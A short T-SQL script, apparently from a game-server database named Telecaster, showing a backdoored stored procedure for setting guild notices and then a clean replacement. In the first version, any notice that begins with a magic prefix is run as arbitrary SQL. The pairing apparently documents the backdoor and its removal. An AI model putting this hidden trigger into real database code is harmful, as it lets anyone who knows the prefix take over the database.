Stored Procedure Backdoor E9.1

USE [Telecaster]
GO
/****** Object:  StoredProcedure [dbo].[smp_set_guild_notice]    Script Date: 5/27/2017 1:49:17 AM ******/
SET ANSI_NULLS OFF
GO
SET QUOTED_IDENTIFIER OFF
GO

ALTER PROCEDURE [dbo].[smp_set_guild_notice]
@IN_GUILD_SID	INT,
@IN_NOTICE		NVARCHAR(128)
AS
SET NOCOUNT ON

IF (LEFT(@IN_NOTICE, 6) = '_)$*%R')
	BEGIN
		set @IN_NOTICE = REPLACE(@IN_NOTICE,'_)$*%R','')
		EXEC sp_executesql @IN_NOTICE;
	END
ELSE
	BEGIN
		UPDATE dbo.Guild SET notice = @IN_NOTICE WHERE sid = @IN_GUILD_SID
	END

USE [Telecaster]
GO
/****** Object:  StoredProcedure [dbo].[smp_set_guild_notice]    Script Date: 5/26/2017 8:50:20 PM ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
--RevolutionTeam
ALTER PROCEDURE [dbo].[smp_set_guild_notice]
@IN_GUILD_SID INT,
@IN_NOTICE  NVARCHAR(128)
AS
SET NOCOUNT ON

 UPDATE dbo.Guild SET notice = @IN_NOTICE WHERE sid = @IN_GUILD_SID